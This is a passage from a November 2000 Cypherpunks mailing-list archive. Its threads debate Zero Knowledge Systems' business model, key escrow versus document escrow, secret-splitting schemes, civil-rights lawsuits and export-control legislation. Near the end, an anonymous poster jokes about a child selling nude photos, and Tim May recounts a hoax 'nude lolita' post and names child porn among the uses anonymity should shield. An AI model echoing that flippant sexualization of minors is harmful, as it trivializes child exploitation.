is SEPARABLE from files in transit. > >I don't know of any existing system like this, but formal corporate >document control isn't my field. > There are companies doing exactly this kind of document control for large and small companies, for hospitals, for schools, etc. They offer services for back ups to vaults and repositories, for key control, for distribution, and tools for collaboration. Mentor, Oracle, Adobe, and many others are in this market. If ZKS plans to enter this market, good luck to them. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From gbroiles at netbox.com Wed Nov 1 17:20:55 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 1 Nov 2000 17:20:55 -0800 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <20001101131925.I724@slack.lne.com>; from ericm@lne.com on Wed, Nov 01, 2000 at 04:20:31PM -0500 References: <4.3.0.20001031100154.01638920@mail.well.com> <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> <20001101131925.I724@slack.lne.com> Message-ID: <20001101172055.B11670@ideath.parrhesia.com> On Wed, Nov 01, 2000 at 04:20:31PM -0500, Eric Murray wrote: > One can envision a system where there's a corporate "document czar" who > is regularly given docs from various employees and who then encrypts them > in his own key. When and where the docs get decrypted is determined by > corporate policies. No key escrow required. > > I don't know of any existing system like this, but formal corporate > document control isn't my field. I'm aware of one example of a similar use in a NASDAQ-listed FDA-regulated pharmaceutical company, where they have a staff of "document czars" who are the only ones empowered to produce, edit, and maintain archives of documents considered especially critical to their intellectual property and/or research and production records required to gain and keep FDA listing for their products. I get the impression that's standard practice in the industry; and probably standard practice anywhere, where the continued availability (or confidentiality) of documents can turn into gains or losses in the $100M - $10B range. See, for example, David Mamet's "The Spanish Prisoner". In any event, I think things work much better when crypto people can present a toolbox of primitive operations to ordinary businesses, and let the ordinary businesses identify which of the primitives would solve actual, existing problems - cute crypto parlor tricks going searching for real-world utility don't seem to meet an especially warm reception. (And I'm saying that as a person guilty of promoting the latter, though the futility of that behavior becomes clearer in hindsight.) -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From carskar at netsolve.net Wed Nov 1 15:21:58 2000 From: carskar at netsolve.net (Carskadden, Rush) Date: Wed, 1 Nov 2000 17:21:58 -0600 Subject: CDR: Minesweeper and defeating modern encryption technology Message-ID: <59816DD7DAE9D11184E400104B66A353055547C9@cobra.netsolve.net> http://digitalmass.boston.com/news/daily/11/01/minesweeper.html from the article: "Proving the conjecture false would mean that modern encryption technology, the foundation of electronic commerce, would be open to easy attack." Isn't that a little general? Possibly jumping to some hasty conclusions about P versus NP as well? ok, Rush -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 914 bytes Desc: not available URL: From gbroiles at netbox.com Wed Nov 1 17:26:09 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 1 Nov 2000 17:26:09 -0800 Subject: CDR: Re: California bars free speech of those cutting deals on votes In-Reply-To: <3A00A3F1.F52FB749@harmon.arrowhead.lib.mn.us>; from hseaver@harmon.arrowhead.lib.mn.us on Wed, Nov 01, 2000 at 06:14:56PM -0500 References: <3.0.6.32.20001101134605.007f9360@pop.sprynet.com> <3A00A3F1.F52FB749@harmon.arrowhead.lib.mn.us> Message-ID: <20001101172609.C11670@ideath.parrhesia.com> On Wed, Nov 01, 2000 at 06:14:56PM -0500, Harmon Seaver wrote: > > Actually you can sue a government official (cop, clerk, etc) who > > violates your rights knowingly, and under 'color of authority'. > > The trick is convincing a jury that it was suitably malicious > > and obvious violation. E.g., false arrest because you look like > > a suspect won't cut it almost always. > > Actually, you can do better than that. There's a fed statute (don't > have the # with me, but do at home if someone needs it) that makes > violation of your civil rights by *any* public official a federal > felony. A judge in Tenn. got 32 years in the slammer on this charge a > few years ago. He took it to the Supremes and lost. For civil suits, see 42 USC 1983 and 1985. For criminal actions, see 18 USC 241 and 242; unfortunately, the criminal sections are only of interest to federal prosecutors. The rest of us need to use civil suits; against federal agents, it's not a 1983 action, but one under federal common law, a la _Bivens v. Six Unknown Agents_, a Supreme court case whose citation eludes me at the moment. -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From carskar at netsolve.net Wed Nov 1 14:41:19 2000 From: carskar at netsolve.net (Carskadden, Rush) Date: Wed, 1 Nov 2000 17:41:19 -0500 Subject: CDR: RE: nsa watch Message-ID: <59816DD7DAE9D11184E400104B66A353055547C6@cobra.netsolve.net> "Netsec differs from its competitors in that it designs and builds its own hardware- and software-management systems, and it produces its own crypto-acceleration cards, Mr. Harold says. The company installs, monitors, and runs the systems for fees starting at $12,000 per solution." Hrmm.... do I really want a crypto solution built and managed by NSA guys? ok, Rush -----Original Message----- X-Loop: openpgp.net From: David Honig [mailto:honig at sprynet.com] Sent: Wednesday, November 01, 2000 3:49 PM To: Multiple recipients of list Subject: nsa watch from elsewhere: FORMER NSA EMPLOYEES LAUNCH CYBER SECURITY BUSINESS http://www.redherring.com/vc/2000/1019/vc-spies101900.html MEANWHILE, NSA SEEKS NEW EMPLOYEES ON-LINE. (submitted by Jeremy Compton) http://www.nsa.gov/programs/employ/index.html -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1869 bytes Desc: not available URL: From fisherm at tce.com Wed Nov 1 14:47:23 2000 From: fisherm at tce.com (Fisher Mark) Date: Wed, 1 Nov 2000 17:47:23 -0500 Subject: CDR: RE: California bars free speech of those cutting deals on votes Message-ID: >Radio is cheap and hot. When was the last time you heard a Libertarian >sentiment on radio (except talk radio). The closest I've heard are the "Vote >Freedom" ads by Charleton Heston. Last week I heard 2 different ads for Indiana LP candidates on a station that plays hip-hop, alternative, and pop music (Radio Now FM 93.1, Emmis Communications). The ads were paid for locally, IIRC. =============================================== Mark Leighton Fisher fisherm at tce.com Thomson Consumer Electronics Indianapolis IN "Display some adaptability." -- Doug Shaftoe, _Cryptonomicon_ From carskar at netsolve.net Wed Nov 1 14:54:55 2000 From: carskar at netsolve.net (Carskadden, Rush) Date: Wed, 1 Nov 2000 17:54:55 -0500 Subject: CDR: RE: Zero Knowledge changes business model (press release) Message-ID: <59816DD7DAE9D11184E400104B66A353055547C7@cobra.netsolve.net> I remember running into a case where there was a system in place that worked somewhat like an encrypted CVS system. There was a central document czar, like you said, and when he left, the company realized how foolish it was to put a single employee in charge of the key. So then (not seeming to have truly learned from their mistakes) they gave copies of the new private key to members of the executive team. Then an executive left. I will not soon forget hearing of thousands of pages of documentation being systematically decrypted with the old key, and re-encrypted with a new key. The process apparently took quite an amount of time. I also remember my squeamishness about the fact that the CVS-like system was designed to encrypt and decrypt on the fly based on some cheesy authentication, so as to provide a way to maintain this system without having to talk to the key holders every time you needed to make a change. The entire system was a big messy nightmare, and when considered carefully, really didn't provide much in the way of security. It would have been much easier for them to put a system in place that required multiple people to sign off on a document for it to be encrypted or decrypted. I took a lot of notes at the time on how I thought this sort of system could be implemented... I should dig it up and see what I was thinking. ok, Rush -----Original Message----- X-Loop: openpgp.net From: Eric Murray [mailto:ericm at lne.com] Sent: Wednesday, November 01, 2000 3:21 PM To: Multiple recipients of list Subject: Re: Zero Knowledge changes business model (press release) On Wed, Nov 01, 2000 at 03:56:56PM -0500, David Honig wrote: > > At 12:13 PM 10/31/00 -0500, Tim May wrote: > >How about: > > > >-- no key escrow, no split keys, no trusted third parties > > I don't see any way around the fact that some companies will want to have > key escrow of some form for employees who disappear, e.g., car accident, > pickpocket stole the key-carrier, etc. I think companies will want this > because of the risks of financial damage to the company. > > Although its hazardous if done wrong [cf recent PGP problems], is > tarnished by the Fedz/Denning/etc, and might have no use in a personal > privacy tool (your diary dies with you), isn't it too dogmatic to rule out > key escrow for tools intended for use by groups? > > Are there equivalent methods which don't use escrowed keys, which I > am unaware of? I beleive it was Eric Hughes who at a Cypherpunks meeting about four years ago, said "the solution isn't key escrow, it's document escrow". Which makes sense- a business doesn't (or shouldn't) allow employees to keep a single copy of an important document on their hard drive. It should be replicated in other known places in case of disaster (drive failure, stolen computer, employee hit by bus, etc). Just because documents are encrypted doesn't mean that this practice is abandoned. One can envision a system where there's a corporate "document czar" who is regularly given docs from various employees and who then encrypts them in his own key. When and where the docs get decrypted is determined by corporate policies. No key escrow required. I don't know of any existing system like this, but formal corporate document control isn't my field. -- Eric Murray Consulting Security Architect SecureDesign LLC http://www.securedesignllc.com PGP keyid:E03F65E5 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 5259 bytes Desc: not available URL: From adam at homeport.org Wed Nov 1 14:59:56 2000 From: adam at homeport.org (Adam Shostack) Date: Wed, 1 Nov 2000 17:59:56 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> References: <4.3.0.20001031100154.01638920@mail.well.com> <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> Message-ID: <20001101181628.A25757@weathership.homeport.org> On Wed, Nov 01, 2000 at 03:56:56PM -0500, David Honig wrote: | At 12:13 PM 10/31/00 -0500, Tim May wrote: | >How about: | > | >-- no key escrow, no split keys, no trusted third parties | | I don't see any way around the fact that some companies will want to have | key escrow of some form for employees who disappear, e.g., car accident, | pickpocket stole the key-carrier, etc. I think companies will want this | because of the risks of financial damage to the company. | | Although its hazardous if done wrong [cf recent PGP problems], is | tarnished by the Fedz/Denning/etc, and might have no use in a personal | privacy tool (your diary dies with you), isn't it too dogmatic to rule out | key escrow for tools intended for use by groups? | | Are there equivalent methods which don't use escrowed keys, which I | am unaware of? Matt Blaze did some work on non-subvertable key escrow, where you escrow keys with random folks, and when you, or Uncle Sam, want the key, you announce that, and hope to get the key back. Let me be clear that this also is not what we're doing. :) | Strong crypto means the employee can put an invincible lock on the | corporate file cabinet. This might mean that invincible locks are | not used in corporations. A corporation might require that any | invincible physical locks be used in series, so the corp can get into the | files if the first lock stays locked. That doesn't seem wrong | to me; and in meatspace two locks in series is obvious and no compromise | is made to either lock's design. | | Maybe no escrow per se, but corp. data is duplicated and each copy is | encrypted by a person's bizkey and the corporate shared key for that person. | Locks in series. | | (Now, it may be 'sad' that ZKS has changed its bizmodel to service | businesses that need locks in series, but I'm only interested in | whether its rational to universally denounce any locks-in-series | architectures.) Thats not really it. We're much more focused on layered locks than series locks. I would worry a lot about the architecture you outline above being vulnerable to a whole slew of attacks on any one key, which means an N key system is at least N times as vulnerable. | >The "relevant legislation" language is the real kicker. | | Though this was elaborated on in a later reply, they really do need to | specify what they mean exactly (re Canada & 'consumer privacy') when | they say the nasty l-word in their public literature. Any mention of the | law in crypto lit turns the stomache, puts the scanners on highest | sensitivity. When we say 'nasty l-word' you can assume we're refering to CALEA, RIP, and that sort of thing. When we talk about legislative compliance, we mean complying with that whole slew of privacy laws. As to the hypothetical that Tim will ask, we'll work very hard to prevent laws requiring key escrow from coming into being. We spend time and energy maintaining relations with law enforcement in a lot of places, explaining to them why we don't build in back doors. And, suprisingly, when you go and talk to them, rather than hissing and shouting, they listen. Adam -- "It is seldom that liberty of any kind is lost all at once." -Hume From hseaver at harmon.arrowhead.lib.mn.us Wed Nov 1 15:14:56 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Wed, 1 Nov 2000 18:14:56 -0500 Subject: CDR: Re: California bars free speech of those cutting deals on votes References: <3.0.6.32.20001101134605.007f9360@pop.sprynet.com> Message-ID: <3A00A3F1.F52FB749@harmon.arrowhead.lib.mn.us> David Honig wrote: > > Actually you can sue a government official (cop, clerk, etc) who > violates your rights knowingly, and under 'color of authority'. > The trick is convincing a jury that it was suitably malicious > and obvious violation. E.g., false arrest because you look like > a suspect won't cut it almost always. Actually, you can do better than that. There's a fed statute (don't have the # with me, but do at home if someone needs it) that makes violation of your civil rights by *any* public official a federal felony. A judge in Tenn. got 32 years in the slammer on this charge a few years ago. He took it to the Supremes and lost. -- Harmon Seaver, MLIS Systems Librarian Arrowhead Library System Virginia, MN (218) 741-3840 hseaver at arrowhead.lib.mn.us http://harmon.arrowhead.lib.mn.us From tcmay at got.net Wed Nov 1 15:36:31 2000 From: tcmay at got.net (Tim May) Date: Wed, 1 Nov 2000 18:36:31 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <20001101181628.A25757@weathership.homeport.org> References: <4.3.0.20001031100154.01638920@mail.well.com> Message-ID: The following comments are meant as a _general_ comment on "how things are," not as any insinuation that ZKS is in league with the bad guys. At 5:59 PM -0500 11/1/00, Adam Shostack wrote: > >As to the hypothetical that Tim will ask, we'll work very hard to >prevent laws requiring key escrow from coming into being. We spend >time and energy maintaining relations with law enforcement in a lot of >places, explaining to them why we don't build in back doors. And, >suprisingly, when you go and talk to them, rather than hissing and >shouting, they listen. Surprisingly? Four words: "Good cop, bad cop." Good cop: "We are interested in listening to you." Bad cop: "We could just have you run over in your parking lot one night." (Said to Jim Bidzos by an NSA guy when Bidzos said he would not comply with NSA wishes that RSADSI systems be weakened. This was relayed to me personally by Jim, many years ago, and he gave me permission to recount it to the Cypherpunks list. The NSA folks did not dispute that the words were said.) Good cop: "We seek cooperation with industry." Bad cop: "Civil forfeiture, sedition, espionage, 20 years in prison." Good cop: "Voluntary standards." Bad cop: "ITAR, crypto in a crime laws, Clipper." Good cop: "We believe in civil rights." Bad cop: "Drug laws, no knock raids, nightsticks, Diallo, raids in Seattle, build more prisons." Good cop: "The law applies to everyone." Bad cop: "Well it depends on what the definition of "is" is." I think ZKS is spending way too much time talking to the "good cops" and not nearly enough time thinking about what happens when the RCMP comes to shut them down when Freedom is used as we expect it to be. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ravage at ssz.com Wed Nov 1 16:47:15 2000 From: ravage at ssz.com (Jim Choate) Date: Wed, 1 Nov 2000 18:47:15 -0600 (CST) Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <20001101131925.I724@slack.lne.com> Message-ID: On Wed, 1 Nov 2000, Eric Murray wrote: > I beleive it was Eric Hughes who at a Cypherpunks meeting about four > years ago, said "the solution isn't key escrow, it's document escrow". > Which makes sense- a business doesn't (or shouldn't) allow employees > to keep a single copy of an important document on their hard drive. > It should be replicated in other known places in case of disaster (drive > failure, stolen computer, employee hit by bus, etc). Just because > documents are encrypted doesn't mean that this practice is abandoned. > > One can envision a system where there's a corporate "document czar" who > is regularly given docs from various employees and who then encrypts them > in his own key. When and where the docs get decrypted is determined by > corporate policies. No key escrow required. > > I don't know of any existing system like this, but formal corporate > document control isn't my field. You (and apparently Eric) haven't ever heard of cron and tar? The job you're speaking of is called a 'system administrator'. There job is to archive the contents of the companies machines. Make multiple copies and then escrow at least one of those copies in another physical location. The reality is that if a company gets hit with this sort of problems (ie document loss) then they have a competancy issue of a bigger proportion. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From tcmay at got.net Wed Nov 1 16:08:06 2000 From: tcmay at got.net (Tim May) Date: Wed, 1 Nov 2000 19:08:06 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <20001101181628.A25757@weathership.homeport.org> References: <4.3.0.20001031100154.01638920@mail.well.com> Message-ID: At 5:59 PM -0500 11/1/00, Adam Shostack wrote: > >As to the hypothetical that Tim will ask, we'll work very hard to >prevent laws requiring key escrow from coming into being. We spend >time and energy maintaining relations with law enforcement in a lot of >places, explaining to them why we don't build in back doors. And, >suprisingly, when you go and talk to them, rather than hissing and >shouting, they listen. By the way, I've been curious about this "we spend time and energy maintaining relations with law enforcement" point for a while. In numerous comments I've seen this mentioned. Why do you spend any of your valuable time talking to law enforcement/ Where I come from, law enforcement enters the picture during a criminal investigation. And then one is usually advised to say "I have nothing to say." Chatting with cops is rarely useful, and is often harmful. Ditto for lawmakers, unless one is seeking some way to get them to get out of the way. I can't speak for Mojo Nation, but I think it nearly 100% certain that Jim McCoy is not "spending time and energy maintaining relations with law enforcement." What his customers may choose to do with Mojo is not his concern...they are "agnostic" on such matters. Zero Knowledge should in fact take a "zero knowledge" point of view on what customers may choose to do with its product. How else can it be? Regrettably, the first round of criticism of Freedom, at least the first round that many of us were involved in, had to do with the "Terms and Conditions" boilerplate, with all of the many reasons ZKS will terminate a nym for (even a prepaid nym, of course, and with no refund, of course). I surmised, as did others, that Freedom would not be usable for such things as running Zundelsites, distributing porn some consider offensive, organizing cells for liberation of their countries, and so on for a thousand other such examples. Whether one agrees or disagrees with such uses, and such ideologies, this is what "free speech" is all about. Only a system where the "transport layer" is agnostic to, or unaware of, the underlying nyms is going to survive. For example, a chain of traditional encrypted remailers (closer to Chaum's mix than we've seen, but still in the same universe) is "agnostic of and unaware of" the packets passing. Think of this as "end to end pseudonymity," by analogy with "end to end encryption." A packet wends its way through multiple routings until it arrives at its destination...and is then revealed to be digitally signed by, say, "Pr0duct Cypher." The remailers along the way, scattered in many countries, have no way to decide that a packet is offensive, or violates Canadian law, or is seditious, or any of the things which I surmise ZKS will be cancelling nyms for. ZKS may have aspects of Wei Dai's PipeNet technology (though Wei Dai remains critical of what he has seen of Freedom, last I heard), but this additional layer of traffic analysis security is all for naught if the _interesting_ uses of Freedom are not possible. Even if ZKS says they wish to tolerate such uses--Zundelsites, bomb instructions, child porn, money laundering, etc.--the fact that they have an identifiable corporate nexus and can be shut down by court order or by a raid on their systems should tell us this is just not the "architecture for crypto anarchy" some had hoped for. (Actually, I raised these points before the product was released. Austin, Hammie, Lucky Green, and Jim McCoy--later of Mojo of course--heard my points. I can't speak for Lucky and Jim, but I recall they made similar points.) In short, ZKS can have all the traffic analysis defeating measures in the world, but their model is basically flawed so long as their system has an identifiable point of attack (headquarters, them, their assets) and so long as they are so apparently willing to cancel nyms. By the way, the only plausible argument for having extensive traffic padding measures, a la PipeNet, is to defeat the sniffers and such typically employed via "national technical means," i.e., NSA, GCHQ, SDECE, etc. An ordinary little girl using Freedom, the putative target candidate for Freedom, say the ads, is not going to need PipeNet-style traffic padding!!! Which leaves me once again wondering what the ZKS market is. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From bear at sonic.net Wed Nov 1 16:08:41 2000 From: bear at sonic.net (Ray Dillinger) Date: Wed, 1 Nov 2000 19:08:41 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> Message-ID: On Wed, 1 Nov 2000, David Honig wrote: >Although its hazardous if done wrong [cf recent PGP problems], is >tarnished by the Fedz/Denning/etc, and might have no use in a personal >privacy tool (your diary dies with you), isn't it too dogmatic to rule out >key escrow for tools intended for use by groups? > >Are there equivalent methods which don't use escrowed keys, which I >am unaware of? First, I think the people who've spoken about document escrow are right. A much safer approach than key escrow. But I'm going to talk about key escrow, because there *are* decent ways to do it. There are methods for key escrow that don't involve a single trusted party having all the keys. For example, you can generate a dozen random strings of bits, XOR them together, then XOR the result with your key. Take the result of that operation and it's your thirteenth string. Now you can hand the thirteen strings out to thirteen different people. Now if you get hit by a bus, or if they are *ALL* ready to subvert the protocol by working together, they can get together, XOR all the strings together, and produce your key. A reasonable protocol for a company with fourteen board members, perhaps. There would be no way to serve thirteen out of fourteen board members with subpeonas and still have the investigation of the fourteenth board member be a secret to the company. Third, there are methods for key escrow with a single escrow agent that don't allow the escrow agent access to the key while it's still live. Take your August key on August First, and use a digital timelock to put one solid month of computing between the company escrow officer and the key. Hand the escrow officer the resulting blob, and use your key with impunity until August 30. On the 30th, you encrypt everything with your September key. On September 1, if she's put the fastest available machine to work on it the whole time, the escrow agent gets your August Key. Now, if you get hit by a bus during august, the escrow officer will be able to get stuff from your drive after august -- but will never have your key while that key is still in use. Fourth, the trusted third party doesn't need access to your keys. I could set up a web service that generated complementary asymmetric key pairs and published them thirty days apart. Now when Alice wants to put her key in storage for the company escrow officer, she can come to my site, pick up the key of the day, encrypt her key with it, and hand it to Bob the escrow officer. If Bob needed to use the key, and it were more than a month later, he could come to my site and get the complementary key and decrypt Alice's key. With this setup, I'm the only one that knows the decryption key, and I don't know diddley about what's encrypted under it or where anything encrypted under it is stored. Bear From njohnson at interl.net Wed Nov 1 17:18:54 2000 From: njohnson at interl.net (Neil Johnson) Date: Wed, 1 Nov 2000 19:18:54 -0600 Subject: CDR: Re: RE: digital angel (tracking device) References: Message-ID: <013d01c0446a$dfd9f800$0100a8c0@nandts> Also check out the "Cookie Cutters" from Neal Stephenson's " The Diamond Age". -Neil Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC ----- Original Message ----- From: "Trei, Peter" To: "Eric Murray" ; "'Sampo A Syreeni'" Cc: Sent: Monday, October 30, 2000 9:02 AM Subject: CDR: RE: digital angel (tracking device) > > > > Sampo A Syreeni[SMTP:ssyreeni at cc.helsinki.fi] wrote > > On Sun, 29 Oct 2000, Eric Murray wrote: > > > > >>The unit can be turned off by the wearer, thereby making the monitoring > > >>voluntary. It will not intrude on personal privacy except in > > applications > > >>applied to the tracking of criminals. > > > > > >Heh. > > > > > >>Digital Angel[tm] measures bodily parameters. It does not interact with > > >>the body chemically or biologically. Designed to be completely harmless, > > >>Digital Angel will not interfere with bodily functions in any way... > > > > > >at least in this version. > > > > And pulling the last two together, we have Digital Angel/IE (Instant > > Execution), for those really Bad Seeds. The plus model will zap the > > offender if brought near Digital Angel/FC (For Children). > > > > Sampo Syreeni , aka decoy, student/math/Helsinki university > > > Go check out Harlan Ellison's short story "Repent Harlequin! cried the Tick > Tock > Man". This is really life imitating art. > > Peter Trei > > From nobody at generalprotectionfault.net Wed Nov 1 10:42:10 2000 From: nobody at generalprotectionfault.net (Ann Onim) Date: Wed, 1 Nov 2000 19:42:10 +0100 Subject: CDR: HR 5239 (Export Admin. Act) ready for His Majesty's signature. Message-ID: <94093513b653ebbfbdc3d3e17ca7d004@generalprotectionfault.net> When the Export Administration Act expired in 1994, the president signed executive order 12923 keeping export controls in force via the International Emergency Economic Powers Act (IEEPA). On Oct. 30 of this year, the House of Representatives approved by voice vote H.R. 5239 ("The Export Administration Act") which would reauthorize the elapsed EAA through August 20, 2001. The Senate approved the bill on Oct. 11, and the White House, having previously announced its support of the bill, is sure to sign it. Below are a few comments from page H11575 of the Congressional Record (Oct. 30). Note the commentary on the necessity of "protecting the government" against "legal challenges" which can only be references to Bernstein... [See http://thomas.loc.gov/cgi-bin/query/R?r106:FLD001:H61575] ---Begin Congressional Record Quote--- Mr. BEREUTER: ... Enactment of this measure is intended to reauthorize the existing EAA for a short period of time, thereby permitting the Congress to fashion a comprehensive rewrite of this 21-year-old statute. [TIME: 1445] The EAA currently establishes export licensing policy for items detailed on the Commerce Control list. The list provides specifications for close to 2,400 dual-use items, including equipment and software likely to require some type of license. Mr. Speaker, this Member would point out to his colleagues that the other body has modified the text of the bill which originated in this Chamber since the lapse of the Export Administration Act in August of 1994, would have retroactively provided the Department of Commerce with authority to keep licensing information confidential under provisions of section 12(c) of that act. Under the provisions of this measure, the Department of Commerce will be able to protect licensing information from the date of enactment through August 20, 2001. It also provides for higher fines for criminal and/or administrative sanctions against the individuals or companies found to be in violation of export control regulation. This Member would further point out to his colleagues that while the original text of this Chamber's bill had included even higher fines, the measure before this body today will still provide higher fines than those currently authorized under IEEPA. In short, this measure provides a much-needed stopgap authority for export control officials at the Commerce Department. ... Mr. LEE: ... Now, there has been a recent court ruling that calls into question whether or not the government can essentially hide behind emergency powers to revive an expired law. Specifically, the case calls into question the Commerce Department's ability to keep sensitive export information provided by exporters from public disclosure using the confidentiality provision. We have got to pass this law to make sure that they can keep the information confidential so that the exporters will fully use the Commerce Department's assistance in exporting our products. We really do have a record trade imbalance. We need to export more. Exporting American products creates jobs for American workers. We need to pass this law as an important part of making sure that the Commerce Department is there to provide as much assistance as possible in moving products overseas. While we would have preferred the House-passed version, the Senate amendment we are taking up today does address this problem. It reauthorizes the Export Administration Act until October 20, 2001. By doing so, it will ensure that the Department of Commerce will be able to rely on the Export Administration Act to protect the confidentiality of the relevant documents received since 1994, as well as the documents that the Commerce Department receives between now and August 20 of next year. ... Ms. ROS-LEHTINEN: Mr. Speaker, I rise in support of this legislation which serves to re-authorize the Export Administration Act and extend its authority over the regulation of exports of dual-use items. This bill underscores the confidentiality provisions of the EAA and thus helps to ensure the Commerce Department's ability to keep sensitive export information confidential. For over six years, the U.S. has been operating under International Emergency Economic Powers Act rendering itself vulnerable to legal challenges. This bill helps to protects the government against these legal challenges. ---End Congressional Record Quote--- Noticeably absent from H.R. 5239 are the measures approved last fall by the Senate Banking Committee in S. 1712, including "the possibility to eliminate restrictions on overseas sales of high technology products that have already become widely available in the United States or abroad." H.R. 5239 *seriously* ups the penalties for export control violations. Under the new EAA, each "knowing" violation of U.S. rules by a company would result in a $500k fine or five times the value of the exports involved, whichever is greater. Each violation by an individual would result in a $250k fine or five times the value of the exports, imprisonment for up to five years, or some combination of the above. What bearing this will have on export of interest to cypherpunks, I do not know, but the apparent strong urge of Congress to up penalties does not fill me with joy. From anonymous at openpgp.net Wed Nov 1 16:56:22 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Wed, 1 Nov 2000 19:56:22 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) Message-ID: <1836f773a613dba50cdd1730c42fef3e@remailer.privacy.at> At 7:08 PM -0500 11/1/00, Tim May wrote: > An ordinary little girl using Freedom, the putative target candidate for > Freedom, say the ads, is not going to need PipeNet-style traffic > padding!!! A little girl wanting to sell nude digital snapshots of herself for milk(bar) money might. You never can tell what passes for "ordinary" these days. I think ZKS just needs to revamp its "little girl" ads. That should increase their subscri(b/v)er base. From nobody at remailer.privacy.at Wed Nov 1 11:21:01 2000 From: nobody at remailer.privacy.at (Anonymous) Date: Wed, 1 Nov 2000 20:21:01 +0100 Subject: CDR: Re: California bars free speech of those cutting deals on votes Message-ID: <3eb771bea414be67e96fd615ac67f388@remailer.privacy.at> Tim May wrote: > (In that I'll feel better in coming years being able to think to > myself: "I didn't vote for that Bush clown...I voted my principles!") > However, as any vote is of marginal importance, as with the > amelioration issue you mention, I'm still undecided. Needless to say, > neither Gore nor Nader are in my universe of choices, however. Aside from whatever emotional gains you might make by voting for Browne on grounds of principle, that action has the added (albeit marginal) benefit of increasing Libertarian party legitimacy in the public eye. Admittedly, a single vote will have no effect on percentages in a national election, but in the local arena, helping the party achieve 5% or even 1% of the vote will frequently secure ballot access next time around. From tcmay at got.net Wed Nov 1 17:22:27 2000 From: tcmay at got.net (Tim May) Date: Wed, 1 Nov 2000 20:22:27 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <1836f773a613dba50cdd1730c42fef3e@remailer.privacy.at> References: <1836f773a613dba50cdd1730c42fef3e@remailer.privacy.at> Message-ID: At 7:56 PM -0500 11/1/00, anonymous at openpgp.net wrote: >At 7:08 PM -0500 11/1/00, Tim May wrote: > >> An ordinary little girl using Freedom, the putative target candidate for >> Freedom, say the ads, is not going to need PipeNet-style traffic >> padding!!! > >A little girl wanting to sell nude digital snapshots of herself for >milk(bar) money might. You never can tell what passes for "ordinary" >these days. > >I think ZKS just needs to revamp its "little girl" ads. That should >increase their subscri(b/v)er base. Indeed. Some years ago, in 1993, I used an anonymous remailer (I think I used a remailer, but I may have just posted it directly) to advertise a"nude lolita." Just as your example cites. ("Lolitas" being a code word for young girls, snatch, er, natch.) Much gnashing of teeth, much demand that the author be tracked down and prosecuted. I wonder how long a Freedom nym would have lasted? After several days of merriment, I pointed out that that _diagonal_ of my .GIF ASCII text block read: "t H i S i s N O t A r e a L i M a G E," or something similar to this. I just took a PGP-encrypted text block I had laying around, edited it to add the hidden disclaimer, then remailed the alleged "Lolita" to places where the call for censorship would be predictable. I had always planned to someday get a Freedom account and use my "five nyms" for some true tests of how free the free speech they advocate really is. The lack of a Mac version has held me back, as I only have a PC emulator, and I never use it for the Net. Anyone know how well Freedom 1.1 operates under Virtual PC 3.0 running Windows 98 SE with underlying Mac PPP and TCP/IP services? I may still get an account and really go to town with the most outrageous uses I can think of, then report back here on how many nyms lasted for how long. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From hseaver at harmon.arrowhead.lib.mn.us Wed Nov 1 18:14:08 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Wed, 1 Nov 2000 21:14:08 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) References: <1836f773a613dba50cdd1730c42fef3e@remailer.privacy.at> Message-ID: <3A00CDE3.419BCDF7@harmon.arrowhead.lib.mn.us> Tim May wrote: > Anyone know how well Freedom 1.1 operates under Virtual PC 3.0 > running Windows 98 SE with underlying Mac PPP and TCP/IP services? > I haven't tried it with VPC on my Mac, but I tried several times (with two different releases) to get it to work with Vmware on a linux box. It was never able to get connected for it's initial config. I could go anywhere else on the 